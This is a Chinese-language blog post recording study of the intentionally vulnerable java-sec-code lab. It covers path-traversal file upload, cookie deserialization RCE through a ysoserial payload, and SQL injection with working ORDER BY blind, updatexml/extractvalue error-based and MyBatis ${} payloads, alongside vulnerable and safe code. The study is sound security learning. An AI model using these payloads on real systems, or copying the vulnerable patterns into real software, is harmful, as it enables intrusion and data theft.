java-sec-code学习

220 篇文章 7 订阅
213 篇文章 3 订阅

配合静态代码审计工具,学习一下。

git clone https://github.com/JoyChou93/java-sec-code
cd java-sec-code
# 生成jar包
mvn clean package

修改配置文件src/main/resources/application.properties:
将数据库名,账号密码修改为mysql中有的。
参考:mysql最常用最基础的命令

# 调试模式运行
java -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 -jar /home/cqq/repos/java-sec-code/target/java-sec-code-1.0.0.jar

在这里插入图片描述然后在IDEA中远程调试。

创建数据库

create user 'java_sec_code'@'192.168.17.1' identified by 'java_sec_code';
create user 'java_sec_code'@'localhost' identified by 'java_sec_code';
create database java_sec_code;
grant all privileges on java_sec_code.* to java_sec_code@192.168.17.1;
grant all privileges on java_sec_code.* to java_sec_code@localhost;

alter user java_sec_code@192.168.17.1 identified with mysql_native_password by 'java_sec_code';

文件上传

  1. 有对文件内容开头做校验;
    public static boolean isImage(File file) throws IOException {
        BufferedImage bi = ImageIO.read(file);
        if (bi == null) {
            return false;
        }
        return true;
    }
  1. 有对上传文件后缀名做校验(白名单:{“.jpg”, “.png”, “.jpeg”, “.gif”, “.bmp”});
  2. 上传的图片会通过uuid生成一个’/tmp’ + uuid + '.png’这样的文件名,然后最后删除掉

通过路径穿越修改filename参数../../../../../home/cqq/repos/java-sec-code/1.png可以将带有jsp代码的图片上传到任意目录
在这里插入图片描述
在这里插入图片描述如果放在tomcat目录下,可以让tomcat解析?

相应的代码在src/main/java/org/joychou/controller/FileUpload.java
在这里插入图片描述

碰到这种(状态码是404)就是Spring没有为这个path配置对应的回调方法。
在这里插入图片描述
碰到这种是505,服务端错误,可能是匹配到了path对应的回调方法,但是没有传入需要的参数。
在这里插入图片描述

检测fastjon反序列化漏洞的,可以看pom.xml文件中的版本:
在这里插入图片描述

全局的CSRF配置

java-sec-code\src\main\resources\application.properties配置文件中,
在这里插入图片描述
这有一行表示不用进行CSRF检测的url白名单:

joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /XmlDecoder/**

因为自己新加了一个类,并对 /XmlDecoder进行了mapping,所以要手动添加到配置文件中,然后重新编译运行。

RememberMe Cookie反序列化代码执行

Cookie中的RememberMe字段被base64编码,然后服务端将用户Cookie中的RememberMe字段进行base64解码之后执行了readObejct操作。
代码:

    /**
     * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
     * Add the result to rememberMe cookie.
     *
     * http://localhost:8080/deserialize/rememberMe/vul
     */
    @RequestMapping("/rememberMe/vul")
    public String rememberMeVul(HttpServletRequest request)
            throws IOException, ClassNotFoundException {

        Cookie cookie = getCookie(request, cookieName);

        if (null == cookie){
            return "No rememberMe cookie. Right?";
        }

        String rememberMe = cookie.getValue();
        byte[] decoded = Base64.getDecoder().decode(rememberMe);

        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
        ObjectInputStream in = new ObjectInputStream(bytes);
        in.readObject();   //执行任意命令
        in.close();

        return "Are u ok?";
    }

这里用了CommonsCollections5 的链BadAttributeValueExpException(JDK自带),然后需要CommonsCollection依赖。
演示:
在这里插入图片描述

但是为什么我调试的时候,还没有跟到执行任意方法的点,就弹出了计算器?

修复方式

升级到xlsx-streamer.jar到2.1.0版本及以上。

SQL注入

参考:

  • http://rui0.cn/archives/823

Java提供了 StatementPreparedStatementCallableStatement三种方式来执行查询语句。

  • Statement:普通查询;
  • PreparedStatement:参数化查询;
  • CallableStatement:用于存储过程。

简单来说,使用预编译语句(PreparedStatement#setString)会对输入的字符进行转义。
调试验证一下:
在调用PreparedStatement#setString的地方下断点:
在这里插入图片描述
java.sql.PreparedStatement只是一个接口,具体的实现类需要调试时查看:
可以看到具体的实现类为:com.mysql.cj.jdbc.ClientPreparedStatement
然后最终在com.mysql.cj.ClientPreparedQueryBindings#setString(int parameterIndex, String x)对特殊字符如'``和"等进行了转义(加`)
在这里插入图片描述
查看最终转义之后的结果:
在这里插入图片描述
源码在:
https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12-sources.jar

    @Override
    public void setString(int parameterIndex, String x) {
        if (x == null) {
            setNull(parameterIndex);
        } else {
            int stringLength = x.length();

            if (this.session.getServerSession().isNoBackslashEscapesSet()) {
                // Scan for any nasty chars

                boolean needsHexEscape = isEscapeNeededForString(x, stringLength);

                if (!needsHexEscape) {
                    StringBuilder quotedString = new StringBuilder(x.length() + 2);
                    quotedString.append('\'');
                    quotedString.append(x);
                    quotedString.append('\'');

                    byte[] parameterAsBytes = this.isLoadDataQuery ? StringUtils.getBytes(quotedString.toString())
                            : StringUtils.getBytes(quotedString.toString(), this.charEncoding);
                    setValue(parameterIndex, parameterAsBytes);

                } else {
                    byte[] parameterAsBytes = this.isLoadDataQuery ? StringUtils.getBytes(x) : StringUtils.getBytes(x, this.charEncoding);
                    setBytes(parameterIndex, parameterAsBytes);
                }

                return;
            }

            String parameterAsString = x;
            boolean needsQuoted = true;

            if (this.isLoadDataQuery || isEscapeNeededForString(x, stringLength)) {
                needsQuoted = false; // saves an allocation later

                StringBuilder buf = new StringBuilder((int) (x.length() * 1.1));

                buf.append('\'');

                //
                // Note: buf.append(char) is _faster_ than appending in blocks, because the block append requires a System.arraycopy().... go figure...
                //

                for (int i = 0; i < stringLength; ++i) {
                    char c = x.charAt(i);

                    switch (c) {
                        case 0: /* Must be escaped for 'mysql' */
                            buf.append('\\');
                            buf.append('0');
                            break;
                        case '\n': /* Must be escaped for logs */
                            buf.append('\\');
                            buf.append('n');
                            break;
                        case '\r':
                            buf.append('\\');
                            buf.append('r');
                            break;
                        case '\\':
                            buf.append('\\');
                            buf.append('\\');
                            break;
                        case '\'':
                            buf.append('\\');
                            buf.append('\'');
                            break;
                        case '"': /* Better safe than sorry */
                            if (this.session.getServerSession().useAnsiQuotedIdentifiers()) {
                                buf.append('\\');
                            }
                            buf.append('"');
                            break;
                        case '\032': /* This gives problems on Win32 */
                            buf.append('\\');
                            buf.append('Z');
                            break;
                        case '\u00a5':
                        case '\u20a9':
                            // escape characters interpreted as backslash by mysql
                            if (this.charsetEncoder != null) {
                                CharBuffer cbuf = CharBuffer.allocate(1);
                                ByteBuffer bbuf = ByteBuffer.allocate(1);
                                cbuf.put(c);
                                cbuf.position(0);
                                this.charsetEncoder.encode(cbuf, bbuf, true);
                                if (bbuf.get(0) == '\\') {
                                    buf.append('\\');
                                }
                            }
                            buf.append(c);
                            break;

                        default:
                            buf.append(c);
                    }
                }

                buf.append('\'');

                parameterAsString = buf.toString();
            }

            byte[] parameterAsBytes = this.isLoadDataQuery ? StringUtils.getBytes(parameterAsString)
                    : (needsQuoted ? StringUtils.getBytesWrapped(parameterAsString, '\'', '\'', this.charEncoding)
                            : StringUtils.getBytes(parameterAsString, this.charEncoding));

            setValue(parameterIndex, parameterAsBytes, MysqlType.VARCHAR);
        }
    }

【注意】占位符只能占位SQL语句中的普通值,决不能占位表名、列名、SQL关键字(select、insert等)。所以如果使用动态表名,字段,就只能向上面案例那样使用非预编译方法,不过这样显然很容易导致注入。

对于输入为int类型的参数userId,使用参数类型绑定:

st.setInt(1, userId);

在这里插入图片描述
使用单引号时报错:

Failed to convert value of type 'java.lang.String' to required type 'int'

在这里插入图片描述

order by注入

参考:

  • https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/

order by是mysql中对查询数据进行排序的方法。(注意:没有查询结果的情况下无法进行order by的注入)
使用示例:

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

这里的重点是order by后接的参数可以是列名,也可以是参数。
由于id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from users  order by 1;
select * from users  order by id;

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

盲注(可能有回显,但是不报错):

对应后端代码:

String sql = "select * from users where username = '" + username + "'" + " order by " + sort;

使用这个payload,第一个表达式为true时,会执行sleep(2)

if(1=1,SLEEP(2),1)

或者benchmark()
原理:

BENCHMARK(count,expr)
benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟

这个函数是用来计算性能的,可以通过制定某运算的计算次数,来实现延时的效果:
在这里插入图片描述

参考:

在这里插入图片描述
username=cqq查询到数据,才能进行order by注入;
在这里插入图片描述
username=111没有查询到数据,无法进行order by注入。
也可以通过order by的参数猜测列数,比如:

http://192.168.239.2:81/?order=11 错误
http://192.168.239.2:81/?order=10 正常

则表示有10列。

load_file通过dnslog带出数据

. 从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上

https://www.cnblogs.com/leixiao-/p/9876313.html

基于报错

后端代码:

String sql = "select * from users where username = '" + username + "'" + " order by " + sort;
catch (SQLException e) {
            throw e;

也可以用盲注的payload

if(1=1,SLEEP(2),1)
if(1=2,SLEEP(2),1)

但是有更好的为什么不用呢?
主要使用两个操作xml的函数:

updatexml(0,concat(0x7c,user()),1)        # 接收三个参数
extractvalue(0, concat(0x7c,version()))   # 接收两个参数

如果代码中写好了catch语句,没有throw则不能根据回显的报错进行注入,而如果这样写,即将报的异常抛出:
在这里插入图片描述
即便不像正常代码那样回显数据:

            while(rs.next()){
                String res_name = rs.getString("username");
                String res_pwd = rs.getString("password");
                result +=  res_name + ": " + res_pwd + "\n";
            }

			return result;

也可进行报错注入:
在这里插入图片描述

使用updatexml进行基于报错的注入,

payload:

username=cqq' or updatexml(0,concat(0x7c,user()),1) or'&password=socks

完整sql语句:

mysql> insert into users(username, password) values('cqq' or updatexml(0,concat(0x7c,version()),1) or'','socks');
ERROR 1105 (HY000): XPATH syntax error: '|5.7.26-0ubuntu0.18.04.1'

在这里插入图片描述
在这里插入图片描述

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

这里的0x7c|用于拼接结果,其实可以换成其他的:
在这里插入图片描述

对mybatis的报错注入

/sqli/mybatis/vul01?username=cqq'+or+updatexml(0,concat(0x7c,version()),1);--+

在这里插入图片描述
漏洞代码是:

// SQLI.java
    @RequestMapping("/mybatis/vul01")
    public List<User> mybatis_vul1(@RequestParam("username") String username) {
        return userMapper.findByUserNameVul(username);
    }
// UserMapper.java

    @Select("select * from users where username = '${username}'")
    List<User> findByUserNameVul(@Param("username") String username);

第二处,
先用单引号测试,

/sqli/mybatis/vul02?username=cqq'

在这里插入图片描述

后端拼接出的sql语句是这样的:

select * from users where username like '%cqq'%'

同样的payload:

/sqli/mybatis/vul02?username=cqq'+or+updatexml(0,concat(0x7c,version()),1);--+

其漏洞代码为:

// SQLI.java
    @RequestMapping("/mybatis/vul02")
    public List<User> mybatis_vul2(@RequestParam("username") String username) {
        return userMapper.findByUserNameVul2(username);
    }
// UserMapper.java
List<User> findByUserNameVul2(String username);
<!-- UserMapper.xml-->
    <select id="findByUserNameVul2" parameterType="String" resultMap="User">
        select * from users where username like '%${_parameter}%'
    </select>

#{}传过来的参数带单引号’', ${}传过来的参数不带单引号。

而使用安全的接口为:
一个单引号和两个单引号都返回null:
在这里插入图片描述
在这里插入图片描述
对应代码为:

//SQLI.java
    @GetMapping("/mybatis/sec01")
    public User mybatis_sec1(@RequestParam("username") String username) {
        return userMapper.findByUserName(username);
    }
// UserMapper.java
    @Select("select * from users where username = #{username}")
    User findByUserName(@Param("username") String username);
使用extractvalue()报错注入

extractvalue()和updatexml()类似,只不过extractvalue()只需要两个参数。

EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).

select extractvalue(0, concat(0x7c,version()));

对比,

  • updatexml使用第二个参数放注入的payload,第一、第三个参数放0占位即可;
  • extractvalue()使用第二个参数放注入的payload,第一个参数放0占位即可。

两个函数的本意本来都是写xpath的格式,这里故意不写xpath格式,而使用version(), user()等函数,将这个函数执行的结果通过报错显示出来。
在这里插入图片描述

参考:
http://www.admintony.com/SQL%E6%B3%A8%E5%85%A5-insert%E3%80%81update%E3%80%81delete%E6%B3%A8%E5%85%A5.html

updatexmlextractvalue()的用法参考官方文档:

  • https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html

故障排除

启动时碰到:

Failed to start component [StandardEngine[Tomcat].StandardHost[localhost].TomcatEmbeddedContext[]]

在pom中添加这个解决问题:

<dependency>
   <groupId>javax.servlet</groupId>
   <artifactId>javax.servlet-api</artifactId>
   <version>4.0.1</version>
</dependency>

参考:
https://stackoverflow.com/questions/43041695/failed-to-start-component-standardenginetomcat-standardhostlocalhost-tomcat
https://www.cnblogs.com/hyy9527/p/13559442.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值